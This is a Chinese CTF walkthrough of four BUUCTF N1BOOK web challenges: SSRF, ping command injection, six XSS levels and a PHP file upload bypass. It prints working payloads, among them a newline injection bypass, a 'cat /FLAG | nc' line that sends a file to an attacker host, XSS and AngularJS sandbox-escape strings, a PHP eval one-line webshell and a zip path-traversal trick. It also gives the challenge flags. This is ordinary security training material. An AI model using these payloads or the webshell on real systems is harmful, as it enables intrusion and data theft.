文章目录
- 前言
- [第二章 web进阶]SSRF Training
- [第二章 web进阶]死亡ping命令
- [第二章 web进阶]XSS闯关
- [第二章 web进阶]文件上传
前言
CTF(Capture The Flag)中文一般译作夺旗赛,在网络安全领域中指的是网络安全技术人员之间进行技术竞技的一种比赛形式。CTF起源于1996年DEFCON全球黑客大会,以代替之前黑客们通过互相发起真实攻击进行技术比拼的方式。
BUUCTF是一个很好的CTF训练平台,这里介绍的是N1BOOK部分的第二章,后续会陆续更新
BUUCTF网址:https://buuoj.cn/
[第二章 web进阶]SSRF Training
1.首先,我们打开首页,发现提示这是一个SSRF漏洞,所以我们想到的就是URL构造。我们看到首页上有一个intersting challenge
,可以进行代码审计,这里flag应该在flag.php
中。
2.这里我们先点开intersting challenge
,我们进行一下代码审计。
php"> <?php
highlight_file(__FILE__);
function check_inner_ip($url)
{ //正则匹配,判断返回的url值是0次(不匹配)或是1$match_result=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url); if (!$match_result) { die('url fomat error'); } try { $url_parse=parse_url($url); } catch(Exception $e) { die('url fomat error'); return false; } //主机名hostname$hostname=$url_parse['host'];//通过域名获取IP地址$ip=gethostbyname($hostname); //将IPv4的地址转换成int(以小数点分隔)$int_ip=ip2long($ip); return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
} function safe_request_url($url)
{ if (check_inner_ip($url)) { echo $url.' is inner ip'; } else {//初始化cURL会话$ch = curl_init();//设置请求选项curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0);//执行会话$output = curl_exec($ch); $result_info = curl_getinfo($ch); if ($result_info['redirect_url']) { safe_request_url($result_info['redirect_url']); } //释放会话curl_close($ch);var_dump($output); } } $url = $_GET['url'];
if(!empty($url)){ safe_request_url($url);
} ?>
代码审计:
-
check_inner_ip
函数:- 这个函数接收一个 URL,并首先验证其格式是否正确。
- 然后,它解析 URL,提取主机名,并将主机名解析为 IP 地址。
- 该函数将 IP 地址转换为长整型,并检查是否属于常见的内网 IP 地址段(127.0.0.0, 10.0.0.0, 172.16.0.0, 192.168.0.0)。
-
safe_request_url
函数:- 这个函数使用
check_inner_ip
函数来检查 URL 是否为内网 IP 地址。 - 如果是内网 IP,它会输出一个消息;否则,使用 cURL 执行请求。
- 如果 URL 有重定向,会递归调用
safe_request_url
函数来处理重定向的 URL。 - 最后,输出请求的结果。
- 这个函数使用
-
主程序:
- 从
$_GET
请求中获取 URL,并在非空时调用safe_request_url
。
- 从
3.使用POST传参,点开F12,在HackBar进行Post传参url=http://127.0.0.1/flag.php
,得到flag(n1book{ug9thaevi2JoobaiLiiLah4zae6fie4r}
)
[第二章 web进阶]死亡ping命令
1.首先,打开首页我们发现这里有一个ping命令输入框,那么是否可以在这里输入其他命令呢?
2.我们输入127.0.0.1&dir
,发现报错,显示存在恶意字符。
3.使用burpsuite进行抓包,进行扫描测试,我们这里使用的字符字典:
"~","!","@","#","$","%","^","&","*","(",")","-","_","\\","[","]"," ' ","%0a","%0b","%0c","%0d"
4.我们来测试一下%0a
是否可以绕过,我们发送一个包,显示ping成功,说明可以绕过。
5.因为是没有回显的,所以使用反弹shell,在kali上开启nc监听。首先我们需要一个有公网ip的攻击机。这里我们没有,所以我们再开一个小号
编写1.sh:
ls
cat /FLAG | nc 攻击机ip port
由于现在buu上没有内网机,所以就不过多赘述了。
[第二章 web进阶]XSS闯关
1.起到靶机后打开主页,看到了有三个选项:使用说明、点我开始和重置游戏。使用说明获得提示。
2.点我开始进入第一关。第一关查看一下源码,我们发现并没有做任何的过滤,所以我们是可以直接注入的(?username=<script>alert('xss')</script>
)。
_alert = alert;
alert = function(info){_alert("过关成功!进入下一关!");var current_level = location.pathname.match(/level([0-9]+)/)[1];var next_level = parseInt(current_level) + 1;location.href = "/level" + next_level;
}
3.进入第二关,我们首先尝试上一次的注入,发现并没有回显,查看源代码,发现username被escape隐藏加密了。所以我们就需要绕过这个过滤。我们这里使用的是闭合绕过(?username=1';alert(1);'1
)。
<script type="text/javascript">if(location.search == ""){location.search = "?username=xss"}var username = '<script>alert('xss')</script>';document.getElementById('ccc').innerHTML= "Welcome " + escape(username);
</script>
4.进入第三关,使用上一关的注入方法,发现没有回显,查看源代码,根据代码可知,单引号被转义了,所以我们再加一个单引号,构造成?username='';alert(1);'1
。
<script type="text/javascript">if(location.search == ""){location.search = "?username=xss"}var username = '?username=1\';alert(1);'1';document.getElementById('ccc').innerHTML= "Welcome " + username;
</script>
5.进入第四关,使用上一关的方法注入,发现回显的是一个xx秒后跳转,查看源代码,设置了一个倒计时,当倒计时结束后会重定向到指定的链接,链接url通过getQueryVariable( )
来获取,将其转义后输出到页面中。所以我们需要来构造这个url,并在url中注入(jumpUrl=javascript:alert(1)
),注入成功10秒后就会跳转。
<script type="text/javascript">var time = 10;var jumpUrl;if(getQueryVariable('jumpUrl') == false){jumpUrl = location.href;}else{jumpUrl = getQueryVariable('jumpUrl');}setTimeout(jump,1000,time);function jump(time){if(time == 0){location.href = jumpUrl;}else{time = time - 1 ;document.getElementById('ccc').innerHTML= `页面${time}秒后将会重定向到${escape(jumpUrl)}`;setTimeout(jump,1000,time);}}function getQueryVariable(variable){var query = window.location.search.substring(1);var vars = query.split("&");for (var i=0;i<vars.length;i++) {var pair = vars[i].split("=");if(pair[0] == variable){return pair[1];}}return(false);}
</script>
6.进入第五关,我们发现这里有一个表单提交。查看源代码,我们发现我们如果想要成功注入,需要绕过getQueryVariable( )
这个函数,所以我们就需要来构造使他执行绕过,我们分析代码,构造?autosubmit=true&action=javascript:alert(1)
<script type="text/javascript">if(getQueryVariable('autosubmit') !== false){var autoForm = document.getElementById('autoForm');autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action');autoForm.submit();}else{}function getQueryVariable(variable){var query = window.location.search.substring(1);var vars = query.split("&");for (var i=0;i<vars.length;i++) {var pair = vars[i].split("=");if(pair[0] == variable){return pair[1];}}return(false);}
</script>
7.进入第六关,这也是XSS挑战的最后一关!前面的方法肯定是用不了了,我们注入一下来测试,方便我们看出问题,这里我们注入<script>alert('xss')</script>
,发现直接就显示在上面了。
我们来看一下源代码,看看是个什么玩意。
<script src="https://cdn.staticfile.org/angular.js/1.4.6/angular.min.js"></script>
我们发现了这一行,这个使用的是angular.js/1.4.6/angular.min.js
,我们去网页上搜索一下,看看这个js有什么xss漏洞,我们确定了这是一个模板注入,根据找到的资料,构造为?username={{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
。我们成功获取到了flag(n1book{xss_is_so_interesting})。
[第二章 web进阶]文件上传
1.首先,我们点开首页,发现是一个文件上传页面,这时候我们就想到上传个一句话木马用蚁剑来连接。我们先上传一个一句话木马来试试水。
2.上传后发现报错,查看源代码,看看问题出在哪里。
php+HTML"><?php
header("Content-Type:text/html; charset=utf-8");
// 每5分钟会清除一次目录下上传的文件
require_once('pclzip.lib.php');if(!$_FILES){echo '<!DOCTYPE html>
<html lang="zh">
<head><meta charset="UTF-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta http-equiv="X-UA-Compatible" content="ie=edge" /><title>文件上传章节练习题</title><link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@3.3.7/dist/css/bootstrap.min.css" integrity="sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u" crossorigin="anonymous"><style type="text/css">.login-box{margin-top: 100px;height: 500px;border: 1px solid #000;}body{background: white;}.btn1{width: 200px;}.d1{display: block;height: 400px;}</style>
</head>
<body><div class="container"><div class="login-box col-md-12"><form class="form-horizontal" method="post" enctype="multipart/form-data" ><h1>文件上传章节练习题</h1><hr /><div class="form-group"><label class="col-sm-2 control-label">选择文件:</label><div class="input-group col-sm-10"><div ><label for=""><input type="file" name="file" /></label></div></div></div><div class="col-sm-8 text-right"><input type="submit" class="btn btn-success text-right btn1" /></div></form></div></div>
</body>
</html>
';show_source(__FILE__);
}else{$file = $_FILES['file'];if(!$file){exit("请勿上传空文件");}$name = $file['name'];$dir = 'upload/';$ext = strtolower(substr(strrchr($name, '.'), 1));$path = $dir.$name;function check_dir($dir){$handle = opendir($dir);while(($f = readdir($handle)) !== false){if(!in_array($f, array('.', '..'))){if(is_dir($dir.$f)){check_dir($dir.$f.'/');}else{$ext = strtolower(substr(strrchr($f, '.'), 1));if(!in_array($ext, array('jpg', 'gif', 'png'))){unlink($dir.$f);}}}}}if(!is_dir($dir)){mkdir($dir);}$temp_dir = $dir.md5(time(). rand(1000,9999));if(!is_dir($temp_dir)){mkdir($temp_dir);}if(in_array($ext, array('zip', 'jpg', 'gif', 'png'))){if($ext == 'zip'){$archive = new PclZip($file['tmp_name']);foreach($archive->listContent() as $value){$filename = $value["filename"];if(preg_match('/\.php$/', $filename)){exit("压缩包内不允许含有php文件!");}}if ($archive->extract(PCLZIP_OPT_PATH, $temp_dir, PCLZIP_OPT_REPLACE_NEWER) == 0) {check_dir($dir);exit("解压失败");}check_dir($dir);exit('上传成功!');}else{move_uploaded_file($file['tmp_name'], $temp_dir.'/'.$file['name']);check_dir($dir);exit('上传成功!');}}else{exit('仅允许上传zip、jpg、gif、png文件!');}
}
接着我们来分析代码:
1) 处理文件上传
php">$file = $_FILES['file'];if(!$file){exit("请勿上传空文件");
}
$name = $file['name'];
- 代码首先从
$_FILES
数组中获取上传的文件,并检查是否存在文件。如果文件不存在,会提示“请勿上传空文件”并终止脚本。
2)设定上传目录和文件扩展名
php">$dir = 'upload/';
$ext = strtolower(substr(strrchr($name, '.'), 1));
$path = $dir.$name;
dir
变量指定了上传文件的目录(upload/
)。ext
提取了文件的扩展名,并将其转换为小写。
3)目录检查函数 check_dir
php">function check_dir($dir){$handle = opendir($dir);while(($f = readdir($handle)) !== false){if(!in_array($f, array('.', '..'))){if(is_dir($dir.$f)){check_dir($dir.$f.'/');}else{$ext = strtolower(substr(strrchr($f, '.'), 1));if(!in_array($ext, array('jpg', 'gif', 'png'))){unlink($dir.$f);}}}}
}
- 该函数递归遍历指定目录及其子目录,删除所有非
jpg
、gif
和png
格式的文件。此函数的目的是确保上传目录中只保留允许的图片文件。
4)检查并创建目录
php">if(!is_dir($dir)){mkdir($dir);
}
$temp_dir = $dir.md5(time(). rand(1000,9999));
if(!is_dir($temp_dir)){mkdir($temp_dir);
}
- 代码检查是否存在上传目录
upload/
,如果不存在则创建之。 - 然后,创建一个临时目录,用于保存解压后的文件。这个临时目录的名称是通过
md5(time(). rand(1000,9999))
生成的,以确保唯一性。
5)文件类型检查与处理
php">if(in_array($ext, array('zip', 'jpg', 'gif', 'png'))){if($ext == 'zip'){$archive = new PclZip($file['tmp_name']);foreach($archive->listContent() as $value){$filename = $value["filename"];if(preg_match('/\.php$/', $filename)){exit("压缩包内不允许含有php文件!");}}if ($archive->extract(PCLZIP_OPT_PATH, $temp_dir, PCLZIP_OPT_REPLACE_NEWER) == 0) {check_dir($dir);exit("解压失败");}check_dir($dir);exit('上传成功!');}else{move_uploaded_file($file['tmp_name'], $temp_dir.'/'.$file['name']);check_dir($dir);exit('上传成功!');}
}else{exit('仅允许上传zip、jpg、gif、png文件!');
}
- 代码允许上传
zip
、jpg
、gif
和png
文件。 - 如果上传的文件是
zip
压缩包,首先会检查压缩包内是否包含.php
文件,如果有则终止操作并输出错误信息。 - 解压文件到临时目录后,调用
check_dir
函数清理不符合要求的文件。 - 如果是
jpg
、gif
或png
文件,则直接将文件移动到临时目录并调用check_dir
函数进行检查。
所以我们要想绕过这些限制条件,就要一步一步来,首先,我们需要先来绕过白名单,也就是文件类型的限制条件,之后,除了.zip
文件,其他的三种文件被move_uploaded_file
,所以我们应该以zip
文件的方式上传木马。接着,假如我们上传的是zip
压缩包,会检查里面是否包含php
文件,如果有会终止操作。所以我们就要进行绕过。
3.分析完代码,我们来看一下这个网站的相关信息,访问/upload
页面,我们发现他使用的是Apache2.4.7, 这时我们就应该想到Apache多后缀名解析漏洞
,也就是多后缀名文件会从最右后缀开始识别,如果后缀不存在对应的MIME type或handler,就会往左进行识别,一直识别到匹配为止。这也就是我们进行绕过的原理,我们可以来创建一个一句话木马,叫做yjh.php.aaa
,这样使在绕过黑名单后,利用Apache的解析漏洞最终解析为.php
文件进行执行。下面是一句话木马。
php"><?php
@eval($_REQUEST[777]);
?>
4.编写好木马后将木马进行压缩,我们发现可以传上去,但是访问不了,后来发现还是我们文件名的问题,文件名应设为/../../yjh.php.aaa
,可是这样我们是命名不了的,所以需要对文件进行修改,这里使用010 Editor
修改十六进制,我们先将文件命名为1111111yjh.php.aaa
,然后将它放到010 Editor中修改。
5.修改后的文件进行上传,显示上传成功。
6.我们访问我们的文件yjh.php.aaa
,显示出flag(n1book{ThisIsUpLoadToPicfl4g}
)